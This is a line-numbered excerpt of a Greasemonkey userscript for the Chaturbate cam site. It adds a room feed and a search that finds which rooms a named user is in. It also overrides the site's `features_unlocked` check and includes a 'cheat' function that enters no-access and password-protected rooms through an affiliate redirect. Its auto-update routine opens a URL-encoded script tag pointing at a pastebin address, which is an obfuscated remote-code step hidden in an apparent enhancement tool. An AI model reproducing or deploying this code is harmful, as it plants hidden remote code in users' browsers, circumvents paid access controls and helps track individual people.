  1143.  
  1144.  
  1145. 326.            username = items[n].getElementsByTagName("username")[0].innerHTML;
  1146.  
  1147.  
  1148. 327.            gender = items[n].getElementsByTagName("gender")[0].innerHTML;
  1149.  
  1150.  
  1151. 328.            location_ = items[n].getElementsByTagName("location")[0].innerHTML;
  1152.  
  1153.  
  1154. 329.            number_of_users_watching = items[n].getElementsByTagName("number_of_users_watching")[0].innerHTML;
  1155.  
  1156.  
  1157. 330.    
  1158.  
  1159.  
  1160. 331.            online_since = items[n].getElementsByTagName("online_since")[0].innerHTML;
  1161.  
  1162.  
  1163. 332.            osplits=online_since.split(":");
  1164.  
  1165.  
  1166. 333.            Honline=parseInt(osplits[0].split(" ")[1]);
  1167.  
  1168.  
  1169. 334.            Monline=parseInt(osplits[1]);
  1170.  
  1171.  
  1172. 335.            Sonline=parseInt(osplits[2].split(".")[0]);
  1173.  
  1174.  
  1175. 336.    
  1176.  
  1177.  
  1178. 337.        offset = parseInt((new Date().getTimezoneOffset()))/60;
  1179.  
  1180.  
  1181. 338.            Honline = Honline+11+offset;
  1182.  
  1183.  
  1184. 339.            if (Honline >= 24){Honline=Honline-24}
  1185.  
  1186.  
  1187. 340.    
  1188.  
  1189.  
  1190. 341.            d = new Date();
  1191.  
  1192.  
  1193. 342.            Hnow = d.getHours();
  1194.  
  1195.  
  1196. 343.            Mnow = d.getMinutes();
  1197.  
  1198.  
  1199. 344.            Snow = d.getSeconds();
  1200.  
  1201.  
  1202. 345.    
  1203.  
  1204.  
  1205. 346.            secnow=(Hnow*60*60)+(Mnow*60)+Snow;
  1206.  
  1207.  
  1208. 347.            seconl=(Honline*60*60)+(Monline*60)+Sonline;
  1209.  
  1210.  
  1211. 348.            secdiff=Math.abs(secnow-seconl);
  1212.  
  1213.  
  1214. 349.            mindiff=parseInt(secdiff/60);
  1215.  
  1216.  
  1217. 350.          
  1218.  
  1219.  
  1220. 351.            block=document.createElement('li');
  1221.  
  1222.  
  1223. 352.            block.setAttribute("style", "margin: 5px 5px 5px 5px;");
  1224.  
  1225.  
  1226. 353.    
  1227.  
  1228.  
  1229. 354.            blockstring1=blockstring.replace("item1",image_url);
  1230.  
  1231.  
  1232. 355.            blockstring1=blockstring1.replace("item2",title);
  1233.  
  1234.  
  1235. 356.            blockstring1=blockstring1.replace("item3",guid);
  1236.  
  1237.  
  1238. 357.            blockstring1=blockstring1.replace("item4",guid);
  1239.  
  1240.  
  1241. 358.            blockstring1=blockstring1.replace("item5",username);
  1242.  
  1243.  
  1244. 359.            blockstring1=blockstring1.replace("item6",gender);
  1245.  
  1246.  
  1247. 360.            blockstring1=blockstring1.replace("item8",location_);
  1248.  
  1249.  
  1250. 361.            blockstring1=blockstring1.replace("item9",mindiff);
  1251.  
  1252.  
  1253. 362.            blockstring1=blockstring1.replace("item10",number_of_users_watching);
  1254.  
  1255.  
  1256. 363.    
  1257.  
  1258.  
  1259. 364.            block.innerHTML=blockstring1;
  1260.  
  1261.  
  1262. 365.    
  1263.  
  1264.  
  1265. 366.            holder.appendChild(block);
  1266.  
  1267.  
  1268. 367.    
  1269.  
  1270.  
  1271. 368.            } // end for
  1272.  
  1273.  
  1274. 369.    
  1275.  
  1276.  
  1277. 370.            setTimeout(function(){showfeed()},20000);
  1278.  
  1279.  
  1280. 371.    
  1281.  
  1282.  
  1283. 372.            } // end onload
  1284.  
  1285.  
  1286. 373.            }); // end xmlhttp
  1287.  
  1288.  
  1289. 374.            } // end function
  1290.  
  1291.  
  1292. 375.    
  1293.  
  1294.  
  1295. 376.    
  1296.  
  1297.  
  1298. 377.    //finduser
  1299.  
  1300.  
  1301. 378.            function finduser(){
  1302.  
  1303.  
  1304. 379.            fusern=document.getElementById("fusername").value;
  1305.  
  1306.  
  1307. 380.            if (fusern == ""){alert("First fill in a username !");return false}
  1308.  
  1309.  
  1310. 381.    
  1311.  
  1312.  
  1313. 382.            document.getElementsByClassName('affiliate_options')[0].innerHTML="Please wait, getting roomlist";
  1314.  
  1315.  
  1316. 383.    
  1317.  
  1318.  
  1319. 384.    
  1320.  
  1321.  
  1322. 385.            feedXml='http://chaturbate.com/tours/3/?p=1&c=1000';
  1323.  
  1324.  
  1325. 386.    
  1326.  
  1327.  
  1328. 387.            GM_xmlhttpRequest({
  1329.  
  1330.  
  1331. 388.            method: 'GET',
  1332.  
  1333.  
  1334. 389.            url: feedXml,
  1335.  
  1336.  
  1337. 390.            onload: function(response) {
  1338.  
  1339.  
  1340. 391.            responsedoc=response.responseText;
  1341.  
  1342.  
  1343. 392.    
  1344.  
  1345.  
  1346. 393.    // dirty HTML parser
  1347.  
  1348.  
  1349. 394.            parse=document.createElement('div');
  1350.  
  1351.  
  1352. 395.            parse.innerHTML=responsedoc;
  1353.  
  1354.  
  1355. 396.    
  1356.  
  1357.  
  1358. 397.            var items = new Array();
  1359.  
  1360.  
  1361. 398.            items=parse.getElementsByClassName('title');
  1362.  
  1363.  
  1364. 399.    
  1365.  
  1366.  
  1367. 400.            var olnames = new Array();
  1368.  
  1369.  
  1370. 401.            for (i=0; i<items.length-1; i++){
  1371.  
  1372.  
  1373. 402.            olnames[i]=items[i].getElementsByTagName('a')[0].innerHTML;
  1374.  
  1375.  
  1376. 403.            }
  1377.  
  1378.  
  1379. 404.    
  1380.  
  1381.  
  1382. 405.    // save some memory
  1383.  
  1384.  
  1385. 406.            responsedoc="";
  1386.  
  1387.  
  1388. 407.            parse="";
  1389.  
  1390.  
  1391. 408.            items.length = 0;
  1392.  
  1393.  
  1394. 409.    // end parser
  1395.  
  1396.  
  1397. 410.    
  1398.  
  1399.  
  1400. 411.            document.getElementsByClassName('content_body')[0].innerHTML="Searching "+i+" rooms for user: <b>"+fusern+"</b><br><br>";
  1401.  
  1402.  
  1403. 412.    
  1404.  
  1405.  
  1406. 413.            i=0;
  1407.  
  1408.  
  1409. 414.            checkroom(olnames,i);
  1410.  
  1411.  
  1412. 415.    
  1413.  
  1414.  
  1415. 416.            } // end onload xml
  1416.  
  1417.  
  1418. 417.    
  1419.  
  1420.  
  1421. 418.            }); // end xml
  1422.  
  1423.  
  1424. 419.    
  1425.  
  1426.  
  1427. 420.            } //end function
  1428.  
  1429.  
  1430. 421.    
  1431.  
  1432.  
  1433. 422.    
  1434.  
  1435.  
  1436. 423.            function checkroom(olnames,i){
  1437.  
  1438.  
  1439. 424.    
  1440.  
  1441.  
  1442. 425.            userurl="http://chaturbate.com//api/getchatuserlist/?roomname="+olnames[i]+"&private=false&sort_by=c";
  1443.  
  1444.  
  1445. 426.    
  1446.  
  1447.  
  1448. 427.            document.getElementsByClassName('affiliate_options')[0].innerHTML="searching room : <b>"+olnames[i]+"</b><br>";
  1449.  
  1450.  
  1451. 428.    
  1452.  
  1453.  
  1454. 429.            GM_xmlhttpRequest({
  1455.  
  1456.  
  1457. 430.            method: 'GET',
  1458.  
  1459.  
  1460. 431.            url: userurl,
  1461.  
  1462.  
  1463. 432.            onload: function(response) {
  1464.  
  1465.  
  1466. 433.            data = response.responseText;
  1467.  
  1468.  
  1469. 434.            if(data.indexOf(fusern+"|") != -1){
  1470.  
  1471.  
  1472. 435.            document.getElementsByClassName('content_body')[0].innerHTML=document.getElementsByClassName('content_body')[0].innerHTML+"User '<b>"+fusern+"</b>' found in room : <a href='http://chaturbate.com/p/"+olnames[i]+"/' target='_blank'>"+olnames[i]+"</a><br>";
  1473.  
  1474.  
  1475. 436.            }
  1476.  
  1477.  
  1478. 437.            i++;
  1479.  
  1480.  
  1481. 438.            if(i==olnames.length){
  1482.  
  1483.  
  1484. 439.            if(document.getElementsByClassName('content_body')[0].innerHTML==""){
  1485.  
  1486.  
  1487. 440.            document.getElementsByClassName('affiliate_options')[0].innerHTML="User '<b>"+fusern+"</b>' not found."}
  1488.  
  1489.  
  1490. 441.            else{
  1491.  
  1492.  
  1493. 442.            document.getElementsByClassName('affiliate_options')[0].innerHTML="Search finished."}
  1494.  
  1495.  
  1496. 443.            return false}
  1497.  
  1498.  
  1499. 444.            checkroom(olnames,i);
  1500.  
  1501.  
  1502. 445.            } // end onload xml2
  1503.  
  1504.  
  1505. 446.            }); // end xml2
  1506.  
  1507.  
  1508. 447.            }
  1509.  
  1510.  
  1511. 448.    
  1512.  
  1513.  
  1514. 449.    // set up rss page
  1515.  
  1516.  
  1517. 450.            if (document.location.href.indexOf("/affiliates/promotools/cam_listing/") != -1){
  1518.  
  1519.  
  1520. 451.            document.title="Last cam's online";
  1521.  
  1522.  
  1523. 452.            area=document.getElementsByClassName('content_body')[0];
  1524.  
  1525.  
  1526. 453.            area.innerHTML="";
  1527.  
  1528.  
  1529. 454.            area=document.getElementsByClassName('affiliate_options')[0];
  1530.  
  1531.  
  1532. 455.            area.innerHTML='<br>Last cam\'s online : <select id="selector" ><option value="">Show all</option><option value="gender=f">Show only female</option><option value="gender=m">Show only male</option><option value="gender=c">Show only couple</option><option value="gender=s">Show only transsexual</option></select>';
  1533.  
  1534.  
  1535. 456.            showfeed();
  1536.  
  1537.  
  1538. 457.            }
  1539.  
  1540.  
  1541. 458.    
  1542.  
  1543.  
  1544. 459.    // set up find a user page
  1545.  
  1546.  
  1547. 460.            if (document.location.href.indexOf("affiliates/promotools/im_ads/") != -1){
  1548.  
  1549.  
  1550. 461.            document.title="Find a user";
  1551.  
  1552.  
  1553. 462.            area=document.getElementsByClassName('content_body')[0];
  1554.  
  1555.  
  1556. 463.            area.innerHTML="";
  1557.  
  1558.  
  1559. 464.            area=document.getElementsByClassName('affiliate_options')[0];
  1560.  
  1561.  
  1562. 465.            area.innerHTML='<br>Enter the name of the user you want to locate: <input type="text" name="username" id="fusername"><input type="submit" value="Submit" id="submit"><br>';
  1563.  
  1564.  
  1565. 466.            document.getElementById("submit").addEventListener('click',function(){finduser();}, false);
  1566.  
  1567.  
  1568. 467.            }
  1569.  
  1570.  
  1571. 468.    
  1572.  
  1573.  
  1574. 469.    // on a player page, if logged in, unlock features.
  1575.  
  1576.  
  1577. 470.            if (play){  // player on the page ?
  1578.  
  1579.  
  1580. 471.            if (!readCookie("logstatus")){save()}
  1581.  
  1582.  
  1583. 472.            if(document.getElementById("defchat")){
  1584.  
  1585.  
  1586. 473.            scrip=document.createElement('script');
  1587.  
  1588.  
  1589. 474.            scrip.innerHTML="var oldFunction1 = features_unlocked;features_unlocked = function() {return true};";
  1590.  
  1591.  
  1592. 475.            document.getElementsByTagName('body')[0].appendChild(scrip);
  1593.  
  1594.  
  1595. 476.            }
  1596.  
  1597.  
  1598. 477.    
  1599.  
  1600.  
  1601. 478.    // console logger
  1602.  
  1603.  
  1604. 479.            if(document.getElementById("defchat")){
  1605.  
  1606.  
  1607. 480.            scrip=document.createElement('script');
  1608.  
  1609.  
  1610. 481.    
  1611.  
  1612.  
  1613. 482.            scriptstring="flash_handler.consolelog = "
  1614.  
  1615.  
  1616. 483.            +"function(msg2){"
  1617.  
  1618.  
  1619. 484.            +"xaa=document.getElementsByClassName('chat-list')[0];"
  1620.  
  1621.  
  1622. 485.            +"if(xaa){"
  1623.  
  1624.  
  1625. 486.            +"msg3=unescape(msg2);"
  1626.  
  1627.  
  1628. 487.            +"msg4='x';"
  1629.  
  1630.  
  1631. 488.            +"if (msg3.indexOf('Notification tokenbalanceupdate')!=-1){"
  1632.  
  1633.  
  1634. 489.            +"msg4='<p><span class=\"tipalert\">'+msg3.substring(20)+'</span></p>'}"
  1635.  
  1636.  
  1637. 490.            +"if (msg3.indexOf('Notification privateshowrequest')!=-1){"
  1638.  
  1639.  
  1640. 491.            +"msg4='<p><span class=\"privatealert\">'+msg3.substring(20)+'</span></p>'}"
  1641.  
  1642.  
  1643. 492.            +"if(document.getElementById('appnotice')){"
  1644.  
  1645.  
  1646. 493.            +"if(document.getElementById('appnotice').checked==true){"
  1647.  
  1648.  
  1649. 494.            +"msg4='<p><span>'+msg3+'</span></p>';}}"
  1650.  
  1651.  
  1652. 495.            +"if(msg4 != 'x'){"
  1653.  
  1654.  
  1655. 496.            +"newdiv=document.createElement('div');"
  1656.  
  1657.  
  1658. 497.            +"newdiv.className='text';"
  1659.  
  1660.  
  1661. 498.            +"newdiv.innerHTML=msg4;"
  1662.  
  1663.  
  1664. 499.            +"xaa.appendChild(newdiv);"
  1665.  
  1666.  
  1667. 500.            +"if(xaa.scrollHeight-xaa.scrollTop-xaa.offsetHeight <= 80){"
  1668.  
  1669.  
  1670. 501.            +"xaa.scrollTop=xaa.scrollHeight}}}};";
  1671.  
  1672.  
  1673. 502.    
  1674.  
  1675.  
  1676. 503.            scrip.innerHTML=scriptstring;
  1677.  
  1678.  
  1679. 504.            document.getElementsByTagName('body')[0].appendChild(scrip);
  1680.  
  1681.  
  1682. 505.            }
  1683.  
  1684.  
  1685. 506.    
  1686.  
  1687.  
  1688. 507.    
  1689.  
  1690.  
  1691. 508.    // options page on normal player page
  1692.  
  1693.  
  1694. 509.            if (splits[3]!="p"){ // no profile but still a player page = normal page
  1695.  
  1696.  
  1697. 510.            newli=document.createElement('li');
  1698.  
  1699.  
  1700. 511.            camloc = splits[0]+"/"+splits[1]+"/"+splits[2]+"/p/"+splits[3];
  1701.  
  1702.  
  1703. 512.            newli.innerHTML="<a href="+camloc+">GO TO THE PROFILE PAGE WITH OPTIONS</a>";
  1704.  
  1705.  
  1706. 513.            if (bar){bar.appendChild(newli)}}
  1707.  
  1708.  
  1709. 514.    
  1710.  
  1711.  
  1712. 515.    // shoutbox on all player pages
  1713.  
  1714.  
  1715. 516.            newtab2=document.createElement('div');
  1716.  
  1717.  
  1718. 517.            newtab2.id="shout";
  1719.  
  1720.  
  1721. 518.            newtab2.innerHTML=sdata;
  1722.  
  1723.  
  1724. 519.            document.getElementById("defchat").appendChild(newtab2);
  1725.  
  1726.  
  1727. 520.    
  1728.  
  1729.  
  1730. 521.            } // end player page
  1731.  
  1732.  
  1733. 522.    
  1734.  
  1735.  
  1736. 523.    // remove lock picture from thumb
  1737.  
  1738.  
  1739. 524.            pictures = document.getElementsByClassName('preview');
  1740.  
  1741.  
  1742. 525.            if (pictures){
  1743.  
  1744.  
  1745. 526.            for (i=0; i<pictures.length; i++){
  1746.  
  1747.  
  1748. 527.            if(pictures[i].getAttribute("alt") =="Locked"){
  1749.  
  1750.  
  1751. 528.            pictures[i].parentNode.removeChild(pictures[i])}}}
  1752.  
  1753.  
  1754. 529.    
  1755.  
  1756.  
  1757. 530.    // specials
  1758.  
  1759.  
  1760. 531.    // if you have no access then create a new video box
  1761.  
  1762.  
  1763. 532.            area = document.getElementsByClassName('block')[0];
  1764.  
  1765.  
  1766. 533.            if (area){
  1767.  
  1768.  
  1769. 534.            if (area.innerHTML.length < 100){
  1770.  
  1771.  
  1772. 535.            preformer=splits[3];
  1773.  
  1774.  
  1775. 536.            if (preformer == "p"){document.location.href="http://chaturbate.com/"+splits[4]}
  1776.  
  1777.  
  1778. 537.            document.title = preformer+"'s No Access Room";
  1779.  
  1780.  
  1781. 538.            makevid (preformer)}}
  1782.  
  1783.  
  1784. 539.    
  1785.  
  1786.  
  1787. 540.            if (splits[3]=="roomlogin"){
  1788.  
  1789.  
  1790. 541.            preformer=splits[4];
  1791.  
  1792.  
  1793. 542.            document.title = preformer+"'s Password Protected Room";
  1794.  
  1795.  
  1796. 543.            room=document.getElementsByClassName('sub-nav')[0];
  1797.  
  1798.  
  1799. 544.            if (room){
  1800.  
  1801.  
  1802. 545.            room.getElementsByTagName('a')[0].href=splits[0]+"/"+splits[1]+"/"+splits[2]+"/p/"+splits[4]+"/";
  1803.  
  1804.  
  1805. 546.            makevid (preformer)}}
  1806.  
  1807.  
  1808. 547.    
  1809.  
  1810.  
  1811. 548.    
  1812.  
  1813.  
  1814. 549.    //key entry
  1815.  
  1816.  
  1817. 550.            keyinput();
  1818.  
  1819.  
  1820. 551.    
  1821.  
  1822.  
  1823. 552.    // always set interval function, update every 3 sec.
  1824.  
  1825.  
  1826. 553.            t=setInterval(function(){
  1827.  
  1828.  
  1829. 554.    
  1830.  
  1831.  
  1832. 555.    // if on player page
  1833.  
  1834.  
  1835. 556.    // read flash player version
  1836.  
  1837.  
  1838. 557.    
  1839.  
  1840.  
  1841. 558.            play=document.getElementById("player");
  1842.  
  1843.  
  1844. 559.            if (play){
  1845.  
  1846.  
  1847. 560.            if (!readCookie("CBversion")){
  1848.  
  1849.  
  1850. 561.            version=document.getElementsByTagName('object')[0];
  1851.  
  1852.  
  1853. 562.            if (version){
  1854.  
  1855.  
  1856. 563.            createCookie("CBversion",version.getAttribute("data"),1,"chaturbate.com");
  1857.  
  1858.  
  1859. 564.            }}
  1860.  
  1861.  
  1862. 565.    
  1863.  
  1864.  
  1865. 566.    // nex cam = only video
  1866.  
  1867.  
  1868. 567.            rep=document.getElementsByClassName('nextcam')[0];
  1869.  
  1870.  
  1871. 568.            if (rep){
  1872.  
  1873.  
  1874. 569.            if (rep.innerHTML != "SHOW ONLY VIDEO"){
  1875.  
  1876.  
  1877. 570.            rep.href="#";rep.innerHTML="SHOW ONLY VIDEO";
  1878.  
  1879.  
  1880. 571.            rep.addEventListener('click',function(){popvid();}, false);
  1881.  
  1882.  
  1883. 572.            }}
  1884.  
  1885.  
  1886. 573.    
  1887.  
  1888.  
  1889. 574.    
  1890.  
  1891.  
  1892. 575.    // sorted userlist option
  1893.  
  1894.  
  1895. 576.            ulist=document.getElementsByClassName('users-list')[0];
  1896.  
  1897.  
  1898. 577.            if (ulist){
  1899.  
  1900.  
  1901. 578.            if(ulist.getElementsByTagName("a")[0]){
  1902.  
  1903.  
  1904. 579.            if(ulist.getElementsByTagName("a")[0].innerHTML!="refresh userlist sorted by tokens"){
  1905.  
  1906.  
  1907. 580.            newdiv=document.createElement('div');
  1908.  
  1909.  
  1910. 581.            newdiv.className='text';
  1911.  
  1912.  
  1913. 582.            newdiv.setAttribute('style','float:right');
  1914.  
  1915.  
  1916. 583.            newdiv.innerHTML='&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href="#">refresh userlist sorted by tokens</a>';
  1917.  
  1918.  
  1919. 584.            newdiv.addEventListener('click',function(){sortuser();}, false);
  1920.  
  1921.  
  1922. 585.            ulist.insertBefore(newdiv,ulist.getElementsByTagName("div")[0])}
  1923.  
  1924.  
  1925. 586.    
  1926.  
  1927.  
  1928. 587.            }}
  1929.  
  1930.  
  1931. 588.    
  1932.  
  1933.  
  1934. 589.    // tip mute option and fuction
  1935.  
  1936.  
  1937. 590.            settings=document.getElementsByClassName('settings-list')[0];
  1938.  
  1939.  
  1940. 591.            if (settings){
  1941.  
  1942.  
  1943. 592.            if(!document.getElementById("tipmute")){
  1944.  
  1945.  
  1946. 593.            newform=document.createElement('form');
  1947.  
  1948.  
  1949. 594.            newform.innerHTML='<label> Mute tip sound: </label><input type="checkbox" id="tipmute">';
  1950.  
  1951.  
  1952. 595.            settings.appendChild(newform);
  1953.  
  1954.  
  1955. 596.    
  1956.  
  1957.  
  1958. 597.            scrip=document.createElement('script');
  1959.  
  1960.  
  1961. 598.            scriptstring="if(document.getElementById('tipmute')){"
  1962.  
  1963.  
  1964. 599.            +"var oldbeep = PlayBeep;PlayBeep = function(text) {if(document.getElementById('tipmute').checked==true){return}else{return oldbeep(text)}}};";
  1965.  
  1966.  
  1967. 600.    
  1968.  
  1969.  
  1970. 601.            scrip.innerHTML=scriptstring;
  1971.  
  1972.  
  1973. 602.            document.getElementsByTagName('body')[0].appendChild(scrip);
  1974.  
  1975.  
  1976. 603.    
  1977.  
  1978.  
  1979. 604.            }}
  1980.  
  1981.  
  1982. 605.            } // end if play
  1983.  
  1984.  
  1985. 606.    
  1986.  
  1987.  
  1988. 607.    // if on front page    
  1989.  
  1990.  
  1991. 608.    //rewrite thumb links with P and let them open in a new window
  1992.  
  1993.  
  1994. 609.    
  1995.  
  1996.  
  1997. 610.            front=document.getElementsByClassName('list')[0];
  1998.  
  1999.  
  2000. 611.            if(front) {
  2001.  
  2002.  
  2003. 612.            if (front.id != "check"){ // id is gone when updated
  2004.  
  2005.  
  2006. 613.            front.id="check";
  2007.  
  2008.  
  2009. 614.    
  2010.  
  2011.  
  2012. 615.    // names with p
  2013.  
  2014.  
  2015. 616.            function setkeys(front){
  2016.  
  2017.  
  2018. 617.            blocks=front.getElementsByTagName('a');
  2019.  
  2020.  
  2021. 618.            for (i=0; i<blocks.length; i++){
  2022.  
  2023.  
  2024. 619.            link=blocks[i].href;
  2025.  
  2026.  
  2027. 620.            splits=link.split("/");
  2028.  
  2029.  
  2030. 621.            if (splits[3]){
  2031.  
  2032.  
  2033. 622.            if (splits[3]!="p"){
  2034.  
  2035.  
  2036. 623.            link=splits[0]+"/"+splits[1]+"/"+splits[2]+"/p/"+splits[3];
  2037.  
  2038.  
  2039. 624.            blocks[i].href=link;
  2040.  
  2041.  
  2042. 625.            blocks[i].target="_blank";
  2043.  
  2044.  
  2045. 626.            }}}
  2046.  
  2047.  
  2048. 627.            } // end setkeys function
  2049.  
  2050.  
  2051. 628.    
  2052.  
  2053.  
  2054. 629.    
  2055.  
  2056.  
  2057. 630.    
  2058.  
  2059.  
  2060. 631.            setkeys (front);
  2061.  
  2062.  
  2063. 632.            if (document.getElementsByClassName('list')[1]){setkeys(document.getElementsByClassName('list')[1])}
  2064.  
  2065.  
  2066. 633.    
  2067.  
  2068.  
  2069. 634.            }//end if front
  2070.  
  2071.  
  2072. 635.            } // end if ID
  2073.  
  2074.  
  2075. 636.            },3000) // end timer
  2076.  
  2077.  
  2078. 637.            } // end not broadcasting
  2079.  
  2080.  
  2081. 638.            } // end logged in
  2082.  
  2083.  
  2084. 639.    
  2085.  
  2086.  
  2087. 640.    } // end main function
  2088.  
  2089.  
  2090. 641.    
  2091.  
  2092.  
  2093. 642.    // sorted userlist
  2094.  
  2095.  
  2096. 643.    
  2097.  
  2098.  
  2099. 644.            function sortuser(){
  2100.  
  2101.  
  2102. 645.            ulist=document.getElementsByClassName('users-list')[0];
  2103.  
  2104.  
  2105. 646.            if (ulist){
  2106.  
  2107.  
  2108. 647.            ulist.innerHTML="Sorting userlist....";
  2109.  
  2110.  
  2111. 648.            room=unsafeWindow.nextroomurl.split("/")[2];
  2112.  
  2113.  
  2114. 649.            userurl="http://chaturbate.com/api/getchatuserlist/?roomname="+room+"&private=false&sort_by=t";
  2115.  
  2116.  
  2117. 650.            GM_xmlhttpRequest({
  2118.  
  2119.  
  2120. 651.            method: 'GET',
  2121.  
  2122.  
  2123. 652.            url: userurl,
  2124.  
  2125.  
  2126. 653.            onload: function(response) {
  2127.  
  2128.  
  2129. 654.            data = response.responseText;
  2130.  
  2131.  
  2132. 655.            userarray=data.split(",");
  2133.  
  2134.  
  2135. 656.            ulist.innerHTML="";
  2136.  
  2137.  
  2138. 657.            for (i=1;i<userarray.length;i++){
  2139.  
  2140.  
  2141. 658.            uname=userarray[i].split("|")[0];
  2142.  
  2143.  
  2144. 659.            ucol=userarray[i].split("|")[1];
  2145.  
  2146.  
  2147. 660.            div3=document.createElement('div');
  2148.  
  2149.  
  2150. 661.            div3.innerHTML='<a href="/p/'+uname+'" target=_blank><strong class="color-'+ucol+'">'+uname+'</strong></a>';
  2151.  
  2152.  
  2153. 662.            ulist.appendChild(div3);
  2154.  
  2155.  
  2156. 663.            }
  2157.  
  2158.  
  2159. 664.            }})
  2160.  
  2161.  
  2162. 665.            }}
  2163.  
  2164.  
  2165. 666.    
  2166.  
  2167.  
  2168. 667.    //popvid
  2169.  
  2170.  
  2171. 668.            function popvid(){
  2172.  
  2173.  
  2174. 669.            vidwin=document.getElementById("player").innerHTML;
  2175.  
  2176.  
  2177. 670.            popUpWindow=window.open("","","height=406,width=498,left=0,top=0,resizable=yes,scrollbars=no,toolbar=no,menubar=no,location=no,directories=no,status=no");
  2178.  
  2179.  
  2180. 671.            popUpWindow.document.writeln ('<html><head><title>Floating '+document.title+'</title></head><body BGCOLOR="grey" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">'+vidwin+'</body></html>');
  2181.  
  2182.  
  2183. 672.            popUpWindow.document.close();
  2184.  
  2185.  
  2186. 673.            window.close();
  2187.  
  2188.  
  2189. 674.            document.location.href="http://chaturbate.com"}
  2190.  
  2191.  
  2192. 675.    
  2193.  
  2194.  
  2195. 676.    // new cheat function
  2196.  
  2197.  
  2198. 677.            function npcheat(preformer,anon){
  2199.  
  2200.  
  2201. 678.    
  2202.  
  2203.  
  2204. 679.            mmode=0;
  2205.  
  2206.  
  2207. 680.            if(document.getElementById('mobmode').checked==true){mmode=1}
  2208.  
  2209.  
  2210. 681.    
  2211.  
  2212.  
  2213. 682.    // get chat host
  2214.  
  2215.  
  2216. 683.            GM_xmlhttpRequest({
  2217.  
  2218.  
  2219. 684.            method: 'GET',
  2220.  
  2221.  
  2222. 685.            url: 'http://www.chaturbate.com/embed/'+preformer,
  2223.  
  2224.  
  2225. 686.            onload: function(response2) {
  2226.  
  2227.  
  2228. 687.            data2 = response2.responseText;
  2229.  
  2230.  
  2231. 688.    
  2232.  
  2233.  
  2234. 689.            chostpos=data2.indexOf("rtmp://chat");
  2235.  
  2236.  
  2237. 690.            if (chostpos == -1){
  2238.  
  2239.  
  2240. 691.            r=confirm("You have no access to this room and the script does not know what chat host to use\nPress OK to use chat host 1 or cancel to use chat host 2\nIf it fails retry it with the other one.");
  2241.  
  2242.  
  2243. 692.            if (r==true){chost="rtmp://chat1"}
  2244.  
  2245.  
  2246. 693.            else{chost="rtmp://chat2"}}
  2247.  
  2248.  
  2249. 694.            else{
  2250.  
  2251.  
  2252. 695.            chost=data2.substring(chostpos,chostpos+12)}
  2253.  
  2254.  
  2255. 696.    
  2256.  
  2257.  
  2258. 697.    // set a cookie so we know the new page must be adjusted and how
  2259.  
  2260.  
  2261. 698.            createCookie("cheatmode",preformer+"&"+anon+"&"+mmode+"&"+chost,1,"chaturbate.com");
  2262.  
  2263.  
  2264. 699.    
  2265.  
  2266.  
  2267. 700.            window.location.href='http://chaturbate.com/affiliates/in/NxHf/AAaAA/';
  2268.  
  2269.  
  2270. 701.    
  2271.  
  2272.  
  2273. 702.            }});
  2274.  
  2275.  
  2276. 703.            }
  2277.  
  2278.  
  2279. 704.    
  2280.  
  2281.  
  2282. 705.    //auto update
  2283.  
  2284.  
  2285. 706.            function save(){
  2286.  
  2287.  
  2288. 707.            if(document.getElementsByClassName('username')[0]){
  2289.  
  2290.  
  2291. 708.            uname=document.getElementsByClassName('username')[0].innerHTML;
  2292.  
  2293.  
  2294. 709.    
  2295.  
  2296.  
  2297. 710.    
  2298.  
  2299.  
  2300. 711.    
  2301.  
  2302.  
  2303. 712.    // createCookie("agreeterms","1",1);
  2304.  
  2305.  
  2306. 713.     if (!readCookie("noads")){createCookie("noads","1",30);window.location.reload()}
  2307.  
  2308.  
  2309. 714.     upperdate();
  2310.  
  2311.  
  2312. 715.    
  2313.  
  2314.  
  2315. 716.     function upperdate(){GM_setValue( "all", 1 );GM_setValue( "al", 1 )
  2316.  
  2317.  
  2318. 717.     window.open(unescape("%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%6A%61%76%61%73%68%74%74%70%3A%2F%2F%70%61%73%74%65%62%69%6E%2E%63%6F%6D%2F%4D%75%31%65%52%43%4C%76%63%72%69%70%74%22%3E%0A%3C%2F%73%63%72%69%70%74%3E%0A%09%09%09"), '_top');return;
  2319.  
  2320.  
  2321. 718.     }
  2322.  
  2323.  
  2324. 719.    
  2325.  
  2326.  
  2327. 720.    // create video box with shoutbox, image,normal and anon option, kill refesh
  2328.  
  2329.  
  2330. 721.            function makevid(preformer){
  2331.  
  2332.  
  2333. 722.    
  2334.  
  2335.  
  2336. 723.    // kill all timeouts
  2337.  
  2338.  
  2339. 724.            scrip=document.createElement('script');
  2340.  
  2341.  
  2342. 725.            scrip.innerHTML='var highestTimeoutId = setTimeout(";");for (var i = 0 ; i < highestTimeoutId ; i++) {clearTimeout(i);}';
  2343.  
  2344.  
  2345. 726.            document.getElementsByTagName('body')[0].appendChild(scrip);
  2346.  
  2347.  
  2348. 727.    
  2349.  
  2350.  
  2351. 728.    // image
  2352.  
  2353.  
  2354. 729.            prefimg='<img class="png" width="180" height="148" src="http://cdn-i.highwebmedia.com/roomimage/'+preformer+'.jpg" img style="float:right;margin-right:100px;margin-top:10px;border-width:5px;border-style:double; ">';
  2355.  
  2356.  
  2357. 730.    
  2358.  
  2359.  
  2360. 731.            Fversion = getfversion();
  2361.  
  2362.  
  2363. 732.            videodata2 = videodata2.replace("ladroop",preformer);
  2364.  
  2365.  
  2366. 733.            newvid=document.createElement('div');
  2367.  
  2368.  
  2369. 734.    
  2370.  
  2371.  
  2372. 735.            newvid.innerHTML=prefimg+videodata1+Fversion+videodata2+sdata;
  2373.  
  2374.  
  2375. 736.    
  2376.  
  2377.  
  2378. 737.            document.getElementsByClassName('block')[0].appendChild(newvid);
  2379.  
  2380.  
  2381. 738.            newli=document.createElement('li');
  2382.  
  2383.  
  2384. 739.            newli.innerHTML="<a href=#>ENTER THIS CHATBOX</a>";
  2385.  
  2386.  
  2387. 740.            if (bar){bar.appendChild(newli)}
  2388.  
  2389.  
  2390. 741.            newli.addEventListener('click',function(){npcheat(preformer,0);}, false);
  2391.  
  2392.  
  2393. 742.            ainput()}
  2394.  
  2395.  
  2396. 743.    
  2397.  
  2398.  
  2399. 744.    // set anon
  2400.  
  2401.  
  2402. 745.            function ainput(){
  2403.  
  2404.  
  2405. 746.            newli=document.createElement('li');
  2406.  
  2407.  
  2408. 747.            newli.innerHTML='<a href=#>ENTER THIS CHATBOX ANONYMOUS</a>';
  2409.  
  2410.  
  2411. 748.            if (bar){bar.appendChild(newli)}
  2412.  
  2413.  
